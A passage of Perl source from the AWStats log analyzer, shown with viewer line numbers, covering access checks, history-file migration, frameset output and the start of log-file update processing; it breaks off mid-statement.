                        if ($LevelForRobotsDetection) {
10040
 
                                $datatoload{$filerobots} = 1;
10041
 
                        }                  # ua
10042
 
                        if ($LevelForWormsDetection) {
10043
 
                                $datatoload{$fileworms} = 1;
10044
 
                        }                  # url
10045
 
                        if ($LevelForBrowsersDetection) {
10046
 
                                $datatoload{$filebrowser} = 1;
10047
 
                        }                  # ua
10048
 
                        if ($LevelForOSDetection) {
10049
 
                                $datatoload{$fileos} = 1;
10050
 
                        }                  # ua
10051
 
                        if ($LevelForRefererAnalyze) {
10052
 
                                $datatoload{$filese} = 1;
10053
 
                        }                  # referer
10054
 
                                           # if (...) { $datatoload{'referer_spam'}=1; }
10055
 
                }
10056
 
                if ( scalar keys %HTMLOutput ) {    # If output
10057
 
                        if ( $ShowDomainsStats || $ShowHostsStats ) {
10058
 
                                $datatoload{$filedomains} = 1;
10059
 
                        } # TODO Replace by test if ($ShowDomainsStats) when plugins geoip can force load of domains datafile.
10060
 
                        if ($ShowFileTypesStats)  { $datatoload{$filemime}       = 1; }
10061
 
                        if ($ShowRobotsStats)     { $datatoload{$filerobots}     = 1; }
10062
 
                        if ($ShowWormsStats)      { $datatoload{$fileworms}      = 1; }
10063
 
                        if ($ShowBrowsersStats)   { $datatoload{$filebrowser}    = 1; }
10064
 
                        if ($ShowOSStats)         { $datatoload{$fileos}         = 1; }
10065
 
                        if ($ShowOriginStats)     { $datatoload{$filese}         = 1; }
10066
 
                        if ($ShowHTTPErrorsStats) { $datatoload{$filestatushttp} = 1; }
10067
 
                        if ($ShowSMTPErrorsStats) { $datatoload{$filestatussmtp} = 1; }
10068
 
                }
10069
 
                &Read_Ref_Data( keys %datatoload );
10070
 
        }
10071
 
        &Read_Plugins();
10072
 
}
10073
 
 
10074
 
# Here charset is defined, so we can send the http header (Need BuildReportFormat,PageCode)
10075
 
if ( !$HeaderHTTPSent && $ENV{'GATEWAY_INTERFACE'} ) {
10076
 
        http_head();
10077
 
}    # Run from a browser as CGI
10078
 
 
10079
 
# Init other parameters
10080
 
$NBOFLINESFORBENCHMARK--;
10081
 
if ( $ENV{'GATEWAY_INTERFACE'} ) { $DirCgi = ''; }
10082
 
if ( $DirCgi && !( $DirCgi =~ /\/$/ ) && !( $DirCgi =~ /\\$/ ) ) {
10083
 
        $DirCgi .= '/';
10084
 
}
10085
 
if ( !$DirData || $DirData =~ /^\./ ) {
10086
 
        if ( !$DirData || $DirData eq '.' ) {
10087
 
                $DirData = "$DIR";
10088
 
        }    # If not defined or chosen to '.' value then DirData is current dir
10089
 
        elsif ( $DIR && $DIR ne '.' ) { $DirData = "$DIR/$DirData"; }
10090
 
}
10091
 
$DirData ||= '.';    # If current dir not defined then we put it to '.'
10092
 
$DirData =~ s/[\\\/]+$//;
10093
 
 
10094
 
if ( $FirstDayOfWeek == 1 ) { @DOWIndex = ( 1, 2, 3, 4, 5, 6, 0 ); }
10095
 
else { @DOWIndex = ( 0, 1, 2, 3, 4, 5, 6 ); }
10096
 
 
10097
 
# Should we link to ourselves or to a wrapper script
10098
 
$AWScript = ( $WrapperScript ? "$WrapperScript" : "$DirCgi$PROG.$Extension" );
10099
 
 
10100
 
# Print html header (Need HTMLOutput,Expires,Lang,StyleSheet,HTMLHeadSectionExpires defined by Read_Config, PageCode defined by Read_Language_Data)
10101
 
if ( !$HeaderHTMLSent ) { &html_head; }
10102
 
 
10103
 
# AWStats output is replaced by a plugin output
10104
 
if ($PluginMode) {
10105
 
 
10106
 
        #       my $function="BuildFullHTMLOutput_$PluginMode()";
10107
 
        #       eval("$function");
10108
 
        my $function = "BuildFullHTMLOutput_$PluginMode";
10109
 
        &$function();
10110
 
        if ( $? || $@ ) { error("$@"); }
10111
 
        &html_end(0);
10112
 
        exit 0;
10113
 
}
10114
 
 
10115
 
# Security check
10116
 
if ( $AllowAccessFromWebToAuthenticatedUsersOnly && $ENV{'GATEWAY_INTERFACE'} )
10117
 
{
10118
 
        if ($Debug) { debug( "REMOTE_USER=" . $ENV{"REMOTE_USER"} ); }
10119
 
        if ( !$ENV{"REMOTE_USER"} ) {
10120
 
                error(
10121
 
"Access to statistics is only allowed from an authenticated session to authenticated users."
10122
 
                );
10123
 
        }
10124
 
        if (@AllowAccessFromWebToFollowingAuthenticatedUsers) {
10125
 
                my $userisinlist = 0;
10126
 
                my $remoteuser   = quotemeta( $ENV{"REMOTE_USER"} );
10127
 
                $remoteuser =~ s/\s/%20/g
10128
 
                  ; # Allow authenticated user with space in name to be compared to allowed user list
10129
 
                my $currentuser = qr/^$remoteuser$/i;    # Set precompiled regex
10130
 
                foreach (@AllowAccessFromWebToFollowingAuthenticatedUsers) {
10131
 
                        if (/$currentuser/o) { $userisinlist = 1; last; }
10132
 
                }
10133
 
                if ( !$userisinlist ) {
10134
 
                        error(  "User '"
10135
 
                                  . $ENV{"REMOTE_USER"}
10136
 
                                  . "' is not allowed to access statistics of this domain/config."
10137
 
                        );
10138
 
                }
10139
 
        }
10140
 
}
10141
 
if ( $AllowAccessFromWebToFollowingIPAddresses && $ENV{'GATEWAY_INTERFACE'} ) {
10142
 
        my $IPAddress     = $ENV{"REMOTE_ADDR"};                  # IPv4 or IPv6
10143
 
        my $useripaddress = &Convert_IP_To_Decimal($IPAddress);
10144
 
        my @allowaccessfromipaddresses =
10145
 
          split( /[\s,]+/, $AllowAccessFromWebToFollowingIPAddresses );
10146
 
        my $allowaccess = 0;
10147
 
        foreach my $ipaddressrange (@allowaccessfromipaddresses) {
10148
 
                if ( $ipaddressrange !~
10149
 
                        /^(\d+\.\d+\.\d+\.\d+)(?:-(\d+\.\d+\.\d+\.\d+))*$/
10150
 
                        && $ipaddressrange !~
10151
 
                        /^([0-9A-Fa-f]{1,4}:){1,7}(:|)([0-9A-Fa-f]{1,4}|\/\d)/ )
10152
 
                {
10153
 
                        error(
10154
 
"AllowAccessFromWebToFollowingIPAddresses is defined to '$AllowAccessFromWebToFollowingIPAddresses' but part of value does not match the correct syntax: IPv4AddressMin[-IPv4AddressMax] or IPv6Address[\/prefix] in \"$ipaddressrange\""
10155
 
                        );
10156
 
                }
10157
 
 
10158
 
                # Test ip v4
10159
 
                if ( $ipaddressrange =~
10160
 
                        /^(\d+\.\d+\.\d+\.\d+)(?:-(\d+\.\d+\.\d+\.\d+))*$/ )
10161
 
                {
10162
 
                        my $ipmin = &Convert_IP_To_Decimal($1);
10163
 
                        my $ipmax = $2 ? &Convert_IP_To_Decimal($2) : $ipmin;
10164
 
 
10165
 
                        # Is it an authorized ip ?
10166
 
                        if ( ( $useripaddress >= $ipmin ) && ( $useripaddress <= $ipmax ) )
10167
 
                        {
10168
 
                                $allowaccess = 1;
10169
 
                                last;
10170
 
                        }
10171
 
                }
10172
 
 
10173
 
                # Test ip v6
10174
 
                if ( $ipaddressrange =~
10175
 
                        /^([0-9A-Fa-f]{1,4}:){1,7}(:|)([0-9A-Fa-f]{1,4}|\/\d)/ )
10176
 
                {
10177
 
                        if ( $ipaddressrange =~ /::\// ) {
10178
 
                                my @IPv6split = split( /::/, $ipaddressrange );
10179
 
                                if ( $IPAddress =~ /^$IPv6split[0]/ ) {
10180
 
                                        $allowaccess = 1;
10181
 
                                        last;
10182
 
                                }
10183
 
                        }
10184
 
                        elsif ( $ipaddressrange == $IPAddress ) {
10185
 
                                $allowaccess = 1;
10186
 
                                last;
10187
 
                        }
10188
 
                }
10189
 
        }
10190
 
        if ( !$allowaccess ) {
10191
 
                error( "Access to statistics is not allowed from your IP Address "
10192
 
                          . $ENV{"REMOTE_ADDR"} );
10193
 
        }
10194
 
}
10195
 
if (   ( $UpdateStats || $MigrateStats )
10196
 
        && ( !$AllowToUpdateStatsFromBrowser )
10197
 
        && $ENV{'GATEWAY_INTERFACE'} )
10198
 
{
10199
 
        error(  ""
10200
 
                  . ( $UpdateStats ? "Update" : "Migrate" )
10201
 
                  . " of statistics has not been allowed from a browser (AllowToUpdateStatsFromBrowser should be set to 1)."
10202
 
        );
10203
 
}
10204
 
if ( scalar keys %HTMLOutput && $MonthRequired eq 'all' ) {
10205
 
        if ( !$AllowFullYearView ) {
10206
 
                error(
10207
 
"Full year view has not been allowed (AllowFullYearView is set to 0)."
10208
 
                );
10209
 
        }
10210
 
        if ( $AllowFullYearView < 3 && $ENV{'GATEWAY_INTERFACE'} ) {
10211
 
                error(
10212
 
"Full year view has not been allowed from a browser (AllowFullYearView should be set to 3)."
10213
 
                );
10214
 
        }
10215
 
}
10216
 
 
10217
 
#------------------------------------------
10218
 
# MIGRATE PROCESS (Must be after reading config cause we need MaxNbOf... and Min...)
10219
 
#------------------------------------------
10220
 
if ($MigrateStats) {
10221
 
        if ($Debug) { debug( "MigrateStats is $MigrateStats", 2 ); }
10222
 
        if ( $MigrateStats !~
10223
 
                /^(.*)$PROG(\d\d)(\d\d\d\d)(\d{0,2})(\d{0,2})(.*)\.txt$/ )
10224
 
        {
10225
 
                error(
10226
 
"AWStats history file name must match following syntax: ${PROG}MMYYYY[.config].txt",
10227
 
                        "", "", 1
10228
 
                );
10229
 
        }
10230
 
        $DirData       = "$1";
10231
 
        $MonthRequired = "$2";
10232
 
        $YearRequired  = "$3";
10233
 
        $DayRequired   = "$4";
10234
 
        $HourRequired  = "$5";
10235
 
        $FileSuffix    = "$6";
10236
 
 
10237
 
        # Correct DirData
10238
 
        if ( !$DirData || $DirData =~ /^\./ ) {
10239
 
                if ( !$DirData || $DirData eq '.' ) {
10240
 
                        $DirData = "$DIR";
10241
 
                }    # If not defined or chosen to '.' value then DirData is current dir
10242
 
                elsif ( $DIR && $DIR ne '.' ) { $DirData = "$DIR/$DirData"; }
10243
 
        }
10244
 
        $DirData ||= '.';    # If current dir not defined then we put it to '.'
10245
 
        $DirData =~ s/[\\\/]+$//;
10246
 
        print "Start migration for file '$MigrateStats'.";
10247
 
        print $ENV{'GATEWAY_INTERFACE'} ? "<br />\n" : "\n";
10248
 
        if ($EnableLockForUpdate) { &Lock_Update(1); }
10249
 
        my $newhistory =
10250
 
          &Read_History_With_TmpUpdate( $YearRequired, $MonthRequired, $DayRequired,
10251
 
                $HourRequired, 1, 0, 'all' );
10252
 
        if ( rename( "$newhistory", "$MigrateStats" ) == 0 ) {
10253
 
                unlink "$newhistory";
10254
 
                error(
10255
 
"Failed to rename \"$newhistory\" into \"$MigrateStats\".\nWrite permissions on \"$MigrateStats\" might be wrong"
10256
 
                          . (
10257
 
                                $ENV{'GATEWAY_INTERFACE'} ? " for a 'migration from web'" : ""
10258
 
                          )
10259
 
                          . " or file might be opened."
10260
 
                );
10261
 
        }
10262
 
        if ($EnableLockForUpdate) { &Lock_Update(0); }
10263
 
        print "Migration for file '$MigrateStats' successful.";
10264
 
        print $ENV{'GATEWAY_INTERFACE'} ? "<br />\n" : "\n";
10265
 
        &html_end(1);
10266
 
        exit 0;
10267
 
}
10268
 
 
10269
 
# Output main frame page and exit. This must be after the security check.
10270
 
if ( $FrameName eq 'index' ) {
10271
 
 
10272
 
        # Define the NewLinkParams for main chart
10273
 
        my $NewLinkParams = ${QueryString};
10274
 
        $NewLinkParams =~ s/(^|&|&amp;)framename=[^&]*//i;
10275
 
        $NewLinkParams =~ s/(&amp;|&)+/&amp;/i;
10276
 
        $NewLinkParams =~ s/^&amp;//;
10277
 
        $NewLinkParams =~ s/&amp;$//;
10278
 
        if ($NewLinkParams) { $NewLinkParams = "${NewLinkParams}&amp;"; }
10279
 
 
10280
 
        # Exit if main frame
10281
 
        print "<frameset cols=\"$FRAMEWIDTH,*\">\n";
10282
 
        print "<frame name=\"mainleft\" src=\""
10283
 
          . XMLEncode("$AWScript?${NewLinkParams}framename=mainleft")
10284
 
          . "\" noresize=\"noresize\" frameborder=\"0\" />\n";
10285
 
        print "<frame name=\"mainright\" src=\""
10286
 
          . XMLEncode("$AWScript?${NewLinkParams}framename=mainright")
10287
 
          . "\" noresize=\"noresize\" scrolling=\"yes\" frameborder=\"0\" />\n";
10288
 
        print "<noframes><body>";
10289
 
        print "Your browser does not support frames.<br />\n";
10290
 
        print "You must set AWStats UseFramesWhenCGI parameter to 0\n";
10291
 
        print "to see your reports.<br />\n";
10292
 
        print "</body></noframes>\n";
10293
 
        print "</frameset>\n";
10294
 
        &html_end(0);
10295
 
        exit 0;
10296
 
}
10297
 
 
10298
 
%MonthNumLib = (
10299
 
        "01", "$Message[60]", "02", "$Message[61]", "03", "$Message[62]",
10300
 
        "04", "$Message[63]", "05", "$Message[64]", "06", "$Message[65]",
10301
 
        "07", "$Message[66]", "08", "$Message[67]", "09", "$Message[68]",
10302
 
        "10", "$Message[69]", "11", "$Message[70]", "12", "$Message[71]"
10303
 
);
10304
 
 
10305
 
# Build ListOfYears list with all existing years
10306
 
(
10307
 
        $lastyearbeforeupdate, $lastmonthbeforeupdate, $lastdaybeforeupdate,
10308
 
        $lasthourbeforeupdate, $lastdatebeforeupdate
10309
 
  )
10310
 
  = ( 0, 0, 0, 0, 0 );
10311
 
my $datemask = '';
10312
 
if    ( $DatabaseBreak eq 'month' ) { $datemask = '(\d\d)(\d\d\d\d)'; }
10313
 
elsif ( $DatabaseBreak eq 'year' )  { $datemask = '(\d\d\d\d)'; }
10314
 
elsif ( $DatabaseBreak eq 'day' )   { $datemask = '(\d\d)(\d\d\d\d)(\d\d)'; }
10315
 
elsif ( $DatabaseBreak eq 'hour' )  {
10316
 
        $datemask = '(\d\d)(\d\d\d\d)(\d\d)(\d\d)';
10317
 
}
10318
 
 
10319
 
if ($Debug) {
10320
 
        debug(
10321
 
"Scan for last history files into DirData='$DirData' with mask='$datemask'"
10322
 
        );
10323
 
}
10324
 
opendir( DIR, "$DirData" );
10325
 
my $regfilesuffix = quotemeta($FileSuffix);
10326
 
foreach ( grep /^$PROG$datemask$regfilesuffix\.txt(|\.gz)$/i,
10327
 
        file_filt sort readdir DIR )
10328
 
{
10329
 
        /^$PROG$datemask$regfilesuffix\.txt(|\.gz)$/i;
10330
 
        if ( !$ListOfYears{"$2"} || "$1" gt $ListOfYears{"$2"} ) {
10331
 
 
10332
 
                # ListOfYears contains max month found
10333
 
                $ListOfYears{"$2"} = "$1";
10334
 
        }
10335
 
        my $rangestring = ( $2 || "" ) . ( $1 || "" ) . ( $3 || "" ) . ( $4 || "" );
10336
 
        if ( $rangestring gt $lastdatebeforeupdate ) {
10337
 
 
10338
 
                # We are on a new max for mask
10339
 
                $lastyearbeforeupdate  = ( $2 || "" );
10340
 
                $lastmonthbeforeupdate = ( $1 || "" );
10341
 
                $lastdaybeforeupdate   = ( $3 || "" );
10342
 
                $lasthourbeforeupdate  = ( $4 || "" );
10343
 
                $lastdatebeforeupdate = $rangestring;
10344
 
        }
10345
 
}
10346
 
close DIR;
10347
 
 
10348
 
# If at least one file found, get value for LastLine
10349
 
if ($lastyearbeforeupdate) {
10350
 
 
10351
 
        # Read 'general' section of last history file for LastLine
10352
 
        &Read_History_With_TmpUpdate( $lastyearbeforeupdate, $lastmonthbeforeupdate,
10353
 
                $lastdaybeforeupdate, $lasthourbeforeupdate, 0, 0, "general" );
10354
 
}
10355
 
 
10356
 
# Warning if lastline in future
10357
 
if ( $LastLine > ( $nowtime + 20000 ) ) {
10358
 
        warning(
10359
 
"WARNING: LastLine parameter in history file is '$LastLine' so in future. May be you need to correct manually the line LastLine in some awstats*.$SiteConfig.conf files."
10360
 
        );
10361
 
}
10362
 
 
10363
 
# Force LastLine
10364
 
if ( $QueryString =~ /lastline=(\d{14})/i ) {
10365
 
        $LastLine = $1;
10366
 
}
10367
 
if ($Debug) {
10368
 
        debug(
10369
 
                "Last year=$lastyearbeforeupdate - Last month=$lastmonthbeforeupdate");
10370
 
        debug("Last day=$lastdaybeforeupdate - Last hour=$lasthourbeforeupdate");
10371
 
        debug("LastLine=$LastLine");
10372
 
        debug("LastLineNumber=$LastLineNumber");
10373
 
        debug("LastLineOffset=$LastLineOffset");
10374
 
        debug("LastLineChecksum=$LastLineChecksum");
10375
 
}
10376
 
 
10377
 
# Init vars
10378
 
&Init_HashArray();
10379
 
 
10380
 
#------------------------------------------
10381
 
# UPDATE PROCESS
10382
 
#------------------------------------------
10383
 
my $lastlinenb         = 0;
10384
 
my $lastlineoffset     = 0;
10385
 
my $lastlineoffsetnext = 0;
10386
 
 
10387
 
if ($Debug) { debug( "UpdateStats is $UpdateStats", 2 ); }
10388
 
if ( $UpdateStats && $FrameName ne 'index' && $FrameName ne 'mainleft' )
10389
 
{    # Update only on index page or when not framed to avoid update twice
10390
 
 
10391
 
        my %MonthNum = (
10392
 
                "Jan", "01", "jan", "01", "Feb", "02", "feb", "02", "Mar", "03",
10393
 
                "mar", "03", "Apr", "04", "apr", "04", "May", "05", "may", "05",
10394
 
                "Jun", "06", "jun", "06", "Jul", "07", "jul", "07", "Aug", "08",
10395
 
                "aug", "08", "Sep", "09", "sep", "09", "Oct", "10", "oct", "10",
10396
 
                "Nov", "11", "nov", "11", "Dec", "12", "dec", "12"
10397
 
          )
10398
 
          ; # MonthNum must be in english because used to translate log date in apache log files
10399
 
 
10400
 
        if ( !scalar keys %HTMLOutput ) {
10401
 
                print
10402
 
"Create/Update database for config \"$FileConfig\" by AWStats version $VERSION\n";
10403
 
                print "From data in log file \"$LogFile\"...\n";
10404
 
        }
10405
 
 
10406
 
        my $lastprocessedyear  = $lastyearbeforeupdate  || 0;
10407
 
        my $lastprocessedmonth = $lastmonthbeforeupdate || 0;
10408
 
        my $lastprocessedday   = $lastdaybeforeupdate   || 0;
10409
 
        my $lastprocessedhour  = $lasthourbeforeupdate  || 0;
10410
 
        my $lastprocesseddate  = '';
10411
 
        if ( $DatabaseBreak eq 'month' ) {
10412
 
                $lastprocesseddate =
10413
 
                  sprintf( "%04i%02i", $lastprocessedyear, $lastprocessedmonth );
10414
 
        }
10415
 
        elsif ( $DatabaseBreak eq 'year' ) {
10416
 
                $lastprocesseddate = sprintf( "%04i%", $lastprocessedyear );
10417
 
        }
10418
 
        elsif ( $DatabaseBreak eq 'day' ) {
10419
 
                $lastprocesseddate = sprintf( "%04i%02i%02i",
10420
 
                        $lastprocessedyear, $lastprocessedmonth, $lastprocessedday );
10421
 
        }
10422
 
        elsif ( $DatabaseBreak eq 'hour' ) {
10423
 
                $lastprocesseddate = sprintf(
10424
 
                        "%04i%02i%02i%02i",
10425
 
                        $lastprocessedyear, $lastprocessedmonth,
10426
 
                        $lastprocessedday,  $lastprocessedhour
10427
 
                );
10428
 
        }
10429
 
 
10430
 
        my @list;
10431
 
 
10432
 
        # Init RobotsSearchIDOrder required for update process
10433
 
        @list = ();
10434
 
        if ( $LevelForRobotsDetection >= 1 ) {
10435
 
                foreach ( 1 .. $LevelForRobotsDetection ) { push @list, "list$_"; }
10436
 
                push @list, "listgen";    # Always added
10437
 
        }
10438
 
        foreach my $key (@list) {
10439
 
                push @RobotsSearchIDOrder, @{"RobotsSearchIDOrder_$key"};
10440
 
                if ($Debug) {
10441
 
                        debug(
10442
 
                                "Add "
10443
 
                                  . @{"RobotsSearchIDOrder_$key"}
10444
 
                                  . " elements from RobotsSearchIDOrder_$key into RobotsSearchIDOrder",
10445
 
                                2
10446
 
                        );
10447
 
                }
10448
 
        }
10449
 
        if ($Debug) {
10450
 
                debug(
10451
 
                        "RobotsSearchIDOrder has now " . @RobotsSearchIDOrder . " elements",
10452
 
                        1
10453
 
                );
10454
 
        }
10455
 
 
10456
 
        # Init SearchEnginesIDOrder required for update process
10457
 
        @list = ();
10458
 
        if ( $LevelForSearchEnginesDetection >= 1 ) {
10459
 
                foreach ( 1 .. $LevelForSearchEnginesDetection ) {
10460
 
                        push @list, "list$_";
10461
 
                }
10462
 
                push @list, "listgen";    # Always added
10463
 
        }
10464
 
        foreach my $key (@list) {
10465
 
                push @SearchEnginesSearchIDOrder, @{"SearchEnginesSearchIDOrder_$key"};
10466
 
                if ($Debug) {
10467
 
                        debug(
10468
 
                                "Add "
10469
 
                                  . @{"SearchEnginesSearchIDOrder_$key"}
10470
 
                                  . " elements from SearchEnginesSearchIDOrder_$key into SearchEnginesSearchIDOrder",
10471
 
                                2
10472
 
                        );
10473
 
                }
10474
 
        }
10475
 
        if ($Debug) {
10476
 
                debug(
10477
 
                        "SearchEnginesSearchIDOrder has now "
10478
 
                          . @SearchEnginesSearchIDOrder
10479
 
                          . " elements",
10480
 
                        1
10481
 
                );
10482
 
        }
10483
 
 
10484
 
        # Complete HostAliases array
10485
 
        my $sitetoanalyze = quotemeta( lc($SiteDomain) );
10486
 
        if ( !@HostAliases ) {
10487
 
                warning(
10488
 
"Warning: HostAliases parameter is not defined, $PROG choose \"$SiteDomain localhost 127.0.0.1\"."
10489
 
                );
10490
 
                push @HostAliases, qr/^$sitetoanalyze$/i;
10491
 
                push @HostAliases, qr/^localhost$/i;
10492
 
                push @HostAliases, qr/^127\.0\.0\.1$/i;
10493
 
        }
10494
 
        else {
10495
 
                unshift @HostAliases, qr/^$sitetoanalyze$/i;
10496
 
        }    # Add SiteDomain as first value
10497
 
 
10498
 
        # Optimize arrays
10499
 
        @HostAliases = &OptimizeArray( \@HostAliases, 1 );
10500
 
        if ($Debug) {
10501
 
                debug( "HostAliases precompiled regex list is now @HostAliases", 1 );
10502
 
        }
10503
 
        @SkipDNSLookupFor = &OptimizeArray( \@SkipDNSLookupFor, 1 );
10504
 
        if ($Debug) {
10505
 
                debug(
10506
 
                        "SkipDNSLookupFor precompiled regex list is now @SkipDNSLookupFor",
10507
 
                        1
10508
 
                );
10509
 
        }
10510
 
        @SkipHosts = &OptimizeArray( \@SkipHosts, 1 );
10511
 
        if ($Debug) {
10512
 
                debug( "SkipHosts precompiled regex list is now @SkipHosts", 1 );
10513
 
        }
10514
 
        @SkipReferrers = &OptimizeArray( \@SkipReferrers, 1 );
10515
 
        if ($Debug) {
10516
 
                debug( "SkipReferrers precompiled regex list is now @SkipReferrers",
10517
 
                        1 );
10518
 
        }
10519
 
        @SkipUserAgents = &OptimizeArray( \@SkipUserAgents, 1 );
10520
 
        if ($Debug) {
10521
 
                debug( "SkipUserAgents precompiled regex list is now @SkipUserAgents",
10522
 
                        1 );
10523
 
        }
10524
 
        @SkipFiles = &OptimizeArray( \@SkipFiles, $URLNotCaseSensitive );
10525
 
        if ($Debug) {
10526
 
                debug( "SkipFiles precompiled regex list is now @SkipFiles", 1 );
10527
 
        }
10528
 
        @OnlyHosts = &OptimizeArray( \@OnlyHosts, 1 );
10529
 
        if ($Debug) {
10530
 
                debug( "OnlyHosts precompiled regex list is now @OnlyHosts", 1 );
10531
 
        }
10532
 
        @OnlyUsers = &OptimizeArray( \@OnlyUsers, 1 );
10533
 
        if ($Debug) {
10534
 
                debug( "OnlyUsers precompiled regex list is now @OnlyUsers", 1 );
10535
 
        }
10536
 
        @OnlyUserAgents = &OptimizeArray( \@OnlyUserAgents, 1 );
10537
 
        if ($Debug) {
10538
 
                debug( "OnlyUserAgents precompiled regex list is now @OnlyUserAgents",
10539
 
                        1 );
10540
 
        }
10541
 
        @OnlyFiles = &OptimizeArray( \@OnlyFiles, $URLNotCaseSensitive );
10542
 
        if ($Debug) {
10543
 
                debug( "OnlyFiles precompiled regex list is now @OnlyFiles", 1 );
10544
 
        }
10545
 
        @NotPageFiles = &OptimizeArray( \@NotPageFiles, $URLNotCaseSensitive );
10546
 
        if ($Debug) {
10547
 
                debug( "NotPageFiles precompiled regex list is now @NotPageFiles", 1 );
10548
 
        }
10549
 
 
10550
 
        # Precompile the regex search strings with qr
10551
 
        @RobotsSearchIDOrder        = map { qr/$_/i } @RobotsSearchIDOrder;
10552
 
        @WormsSearchIDOrder         = map { qr/$_/i } @WormsSearchIDOrder;
10553
 
        @BrowsersSearchIDOrder      = map { qr/$_/i } @BrowsersSearchIDOrder;
10554
 
        @OSSearchIDOrder            = map { qr/$_/i } @OSSearchIDOrder;
10555
 
        @SearchEnginesSearchIDOrder = map { qr/$_/i } @SearchEnginesSearchIDOrder;
10556
 
        my $miscquoted     = quotemeta("$MiscTrackerUrl");
10557
 
        my $defquoted      = quotemeta("/$DefaultFile[0]");
10558
 
        my $sitewithoutwww = lc($SiteDomain);
10559
 
        $sitewithoutwww =~ s/www\.//;
10560
 
        $sitewithoutwww = quotemeta($sitewithoutwww);
10561
 
 
10562
 
        # Define precompiled regex
10563
 
        my $regmisc        = qr/^$miscquoted/;
10564
 
        my $regfavico      = qr/\/favicon\.ico$/i;
10565
 
        my $regrobot       = qr/\/robots\.txt$/i;
10566
 
        my $regtruncanchor = qr/#(\w*)$/;
10567
 
        my $regtruncurl    = qr/([$URLQuerySeparators])(.*)$/;
10568
 
        my $regext         = qr/\.(\w{1,6})$/;
10569
 
        my $regdefault;
10570
 
        if ($URLNotCaseSensitive) { $regdefault = qr/$defquoted$/i; }
10571
 
        else { $regdefault = qr/$defquoted$/; }
10572
 
        my $regipv4           = qr/^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$/;
10573
 
        my $regipv4l          = qr/^::ffff:\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$/;
10574
 
        my $regipv6           = qr/^[0-9A-F]*:/i;
10575
 
        my $regvermsie        = qr/msie([+_ ]|)([\d\.]*)/i;
10576
 
        my $regvernetscape    = qr/netscape.?\/([\d\.]*)/i;
10577
 
        my $regverfirefox     = qr/firefox\/([\d\.]*)/i;
10578
 
        my $regveropera       = qr/opera\/([\d\.]*)/i;
10579
 
        my $regversafari      = qr/safari\/([\d\.]*)/i;
10580
 
        my $regversafariver   = qr/version\/([\d\.]*)/i;
10581
 
        my $regverchrome      = qr/chrome\/([\d\.]*)/i;
10582
 
        my $regverkonqueror   = qr/konqueror\/([\d\.]*)/i;
10583
 
        my $regversvn         = qr/svn\/([\d\.]*)/i;
10584
 
        my $regvermozilla     = qr/mozilla(\/|)([\d\.]*)/i;
10585
 
        my $regnotie          = qr/webtv|omniweb|opera/i;
10586
 
        my $regnotnetscape    = qr/gecko|compatible|opera|galeon|safari|charon/i;
10587
 
        my $regnotfirefox     = qr/flock/i;
10588
 
        my $regnotsafari      = qr/android|arora|chrome|shiira/i;
10589
 
        my $regreferer        = qr/^(\w+):\/\/([^\/:]+)(:\d+|)/;
10590
 
        my $regreferernoquery = qr/^([^$URLQuerySeparators]+)/;
10591
 
        my $reglocal          = qr/^(www\.|)$sitewithoutwww/i;
10592
 
        my $regget            = qr/get|out/i;
10593
 
        my $regsent           = qr/sent|put|in/i;
10594
 
 
10595
 
        # Define value of $pos_xxx, @fieldlib, $PerlParsingFormat
10596
 
        &DefinePerlParsingFormat($LogFormat);
10597
 
 
10598
 
        # Load DNS Cache Files
10599
 
        #------------------------------------------
10600
 
        if ($DNSLookup) {
10601
 
                &Read_DNS_Cache( \%MyDNSTable, "$DNSStaticCacheFile", "", 1 )
10602
 
                  ; # Load with save into a second plugin file if plugin enabled and second file not up to date. No use of FileSuffix
10603
 
                if ( $DNSLookup == 1 ) {    # System DNS lookup required
10604
 
                         #if (! eval("use Socket;")) { error("Failed to load perl module Socket."); }
10605
 
                         #use Socket;
10606
 
                        &Read_DNS_Cache( \%TmpDNSLookup, "$DNSLastUpdateCacheFile",
10607
 
                                "$FileSuffix", 0 )
10608
 
                          ;    # Load with no save into a second plugin file. Use FileSuffix
10609
 
                }
10610
 
        }
10611
 
 
10612
 
        # Processing log
10613
 
        #------------------------------------------
10614
 
 
10615
 
        if ($EnableLockForUpdate) {
10616
 
 
10617
 
                # Trap signals to remove lock
10618
 
                $SIG{INT} = \&SigHandler;    # 2
10619
 
                                             #$SIG{KILL} = \&SigHandler;        # 9
10620
 
                                             #$SIG{TERM} = \&SigHandler;        # 15
10621
 
                                             # Set AWStats update lock
10622
 
                &Lock_Update(1);
10623
 
        }
10624
 
 
10625
 
        if ($Debug) {
10626
 
                debug("Start Update process (lastprocesseddate=$lastprocesseddate)");
10627
 
        }
10628
 
 
10629
 
        # Open log file
10630
 
        if ($Debug) { debug("Open log file \"$LogFile\""); }
10631
 
        open( LOG, "$LogFile" )
10632
 
          || error("Couldn't open server log file \"$LogFile\" : $!");
10633
 
        binmode LOG
10634
 
          ;   # Avoid premature EOF due to log files corrupted with \cZ or bin chars
10635
 
 
10636
 
        # Define local variables for loop scan
10637
 
        my @field               = ();
10638
 
        my $counterforflushtest = 0;
10639
 
        my $qualifdrop          = '';
10640
 
        my $countedtraffic      = 0;
10641
 
 
10642
 
        # Reset chrono for benchmark (first call to GetDelaySinceStart)
10643
 
        &GetDelaySinceStart(1);
10644
 
        if ( !scalar keys %HTMLOutput ) {
10645
 
                print "Phase 1 : First bypass old records, searching new record...\n";
10646
 
        }
10647
 
 
10648
 
        # Can we try a direct seek access in log ?
10649
 
        my $line;
10650
 
        if ( $LastLine && $LastLineNumber && $LastLineOffset && $LastLineChecksum )
10651
 
        {
10652
 
 
10653
 
                # Try a direct seek access to save time
10654
 
                if ($Debug) {
10655
 
                        debug(
10656
 
"Try a direct access to LastLine=$LastLine, LastLineNumber=$LastLineNumber, LastLineOffset=$LastLineOffset, LastLineChecksum=$LastLineChecksum"
10657
 
                        );
10658
 
                }
10659
 
                seek( LOG, $LastLineOffset, 0 );
10660
 
                if ( $line = <LOG> ) {
10661
 
                        chomp $line;
10662
 
                        $line =~ s/\r$//;
10663
 
                        @field = map( /$PerlParsingFormat/, $line );
10664
 
                        if ($Debug) {
10665
 
                                my $string = '';
10666
 
                                foreach ( 0 .. @field - 1 ) {
10667
 
                                        $string .= "$fieldlib[$_]=$field[$_] ";
10668
 
                                }
10669
 
                                if ($Debug) {
10670
 
                                        debug( " Read line after direct access: $string", 1 );
10671
 
                                }
10672
 
                        }
10673
 
                        my $checksum = &CheckSum($line);
10674
 
                        if ($Debug) {
10675
 
                                debug(
10676
 
